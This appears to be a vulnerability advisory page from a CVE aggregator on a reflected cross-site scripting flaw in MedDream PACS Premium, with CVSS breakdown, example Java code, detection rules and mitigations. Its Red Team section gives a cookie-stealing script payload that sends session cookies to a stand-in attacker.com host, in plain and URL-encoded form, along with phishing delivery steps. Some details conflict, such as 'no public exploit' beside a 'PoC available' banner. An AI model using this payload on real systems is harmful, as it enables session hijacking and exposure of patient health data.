CVE-2025-58080
Executive Summary
CVE-2025-58080 is a reflected cross-site scripting (XSS) vulnerability in MedDream PACS Premium version 7.3.6.870. The flaw exists in the modifyHL7App functionality, allowing an attacker to craft a malicious URL that, when visited by an authenticated or unauthenticated user, executes arbitrary JavaScript in the context of the victim's browser session. This can lead to session hijacking, credential theft, or further compromise of the PACS (Picture Archiving and Communication System) environment. The vulnerability has a CVSS score of 6.1 (Medium) and currently has no known patch or public exploit code. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant due to the sensitive nature of medical imaging data.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone web application vulnerability in MedDream PACS Premium.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication needed to trigger the XSS.
- User Interaction: Required (UI:R) – The victim must click a crafted link.
- Scope: Changed (S:C) – The impact extends beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure possible.
- Integrity Impact: Low (I:L) – Limited ability to modify data.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. While the CVSS score is moderate, the context of a medical PACS system elevates the risk due to potential exposure of protected health information (PHI).
Deep Dive & Mechanics
The vulnerability resides in the modifyHL7App endpoint of MedDream PACS Premium. This endpoint is used to modify HL7 (Health Level 7) application settings. The application fails to properly sanitize user-supplied input before reflecting it in the HTTP response. An attacker can inject malicious JavaScript code into a parameter (likely a query string parameter) that is then echoed back without encoding.
Attack Flow:
- Attacker crafts a URL like:
https://pacs.example.com/modifyHL7App?param=<script>alert('XSS')</script> - Attacker sends this URL to a victim (e.g., via phishing email or social engineering).
- Victim clicks the link while authenticated to the MedDream PACS application.
- The server reflects the injected script in the response.
- The victim's browser executes the script, allowing the attacker to steal session cookies, perform actions on behalf of the victim, or exfiltrate sensitive data.
The vulnerability is classified as Reflected XSS (CWE-79). No authentication is required to trigger the reflection, but the victim must be logged in for the attack to be fully effective.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be in the server-side handler for the modifyHL7App endpoint. A typical vulnerable pattern in Java (common for PACS systems) might look like:
Vulnerable Code (Java):
protected void doGet(HttpServletRequest request, HttpServletResponse response) {
String param = request.getParameter("param");
response.getWriter().write("<div>" + param + "</div>");
}
Patched Code (Hypothetical):
protected void doGet(HttpServletRequest request, HttpServletResponse response) {
String param = request.getParameter("param");
String encodedParam = StringEscapeUtils.escapeHtml4(param);
response.getWriter().write("<div>" + encodedParam + "</div>");
}
The fix involves HTML-encoding user input before reflecting it in the response. Without a patch, the application remains vulnerable.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target running MedDream PACS Premium 7.3.6.870
- Victim user authenticated to the application
- Attacker-controlled server to receive exfiltrated data
Exploitation Steps:
- Identify the vulnerable parameter in the
modifyHL7Appendpoint (e.g.,param,name,value). - Craft a payload to steal session cookies:
https://target/modifyHL7App?param=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script> - URL-encode the payload:
https://target/modifyHL7App?param=%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D%27%2Bdocument.cookie%3C%2Fscript%3E - Send the link to the victim via phishing email or social engineering.
- When the victim clicks, the script executes and sends the session cookie to the attacker's server.
Example Payload (for testing):
<script>alert('XSS')</script>
Blue Team (Defense & Detection)
Detection:
- Monitor web server logs for requests to
/modifyHL7Appcontaining suspicious characters like<script>,%3Cscript%3E, oronerror=. - Use WAF rules to block reflected XSS patterns.
- Deploy browser-based XSS filters (e.g., X-XSS-Protection header).
Mitigation:
- Apply input validation and output encoding on the server side.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Educate users about phishing attacks and suspicious links.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/modifyHL7Appwith query parameters containing<script>tags or URL-encoded equivalents. - Outbound connections from the victim's browser to attacker-controlled domains (e.g.,
attacker.com/steal).
- HTTP requests to
- File IOCs:
- Web server logs showing repeated requests to
/modifyHL7Appwith unusual parameters.
- Web server logs showing repeated requests to
- Behavioral IOCs:
- Unexpected redirects or pop-ups in the MedDream PACS interface.
- Session anomalies (e.g., simultaneous logins from different IPs).
Detection Engineering
YARA Rule
rule Detect_MedDream_XSS_Reflected {
meta:
description = "Detects reflected XSS attempts against MedDream PACS modifyHL7App endpoint"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-58080"
strings:
$xss_pattern1 = /modifyHL7App.*<script>/ nocase
$xss_pattern2 = /modifyHL7App.*%3Cscript%3E/ nocase
$xss_pattern3 = /modifyHL7App.*onerror=/ nocase
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt Against MedDream PACS modifyHL7App
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects reflected XSS attempts targeting the modifyHL7App endpoint of MedDream PACS Premium.
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-58080
logsource:
category: webserver
product: apache
service: http
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '/modifyHL7App'
- '<script>'
- '%3Cscript%3E'
- 'onerror='
condition: selection
falsepositives:
- Legitimate use of script tags in testing environments
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-58080 MedDream PACS Reflected XSS Attempt"; flow:to_server; content:"/modifyHL7App"; http_uri; content:"<script>"; http_uri; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the vulnerable system if possible, or restrict access to the
modifyHL7Appendpoint via firewall or WAF rules. - Implement a Web Application Firewall (WAF) with rules to block reflected XSS patterns (e.g.,
<script>,onerror=,javascript:). - Apply input validation on the server side to reject or sanitize malicious input.
- Enable Content Security Policy (CSP) headers to restrict script execution to trusted sources only.
Long-Term Fix:
- Contact MedDream for an official patch. If unavailable, consider upgrading to a newer version or applying a vendor-supplied hotfix.
- Conduct a full security audit of the application to identify similar vulnerabilities.
- Implement secure coding practices, including output encoding for all user-supplied data.
Workaround:
- Disable the
modifyHL7Appfunctionality if not essential, or restrict access to authorized users only via IP whitelisting or authentication.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.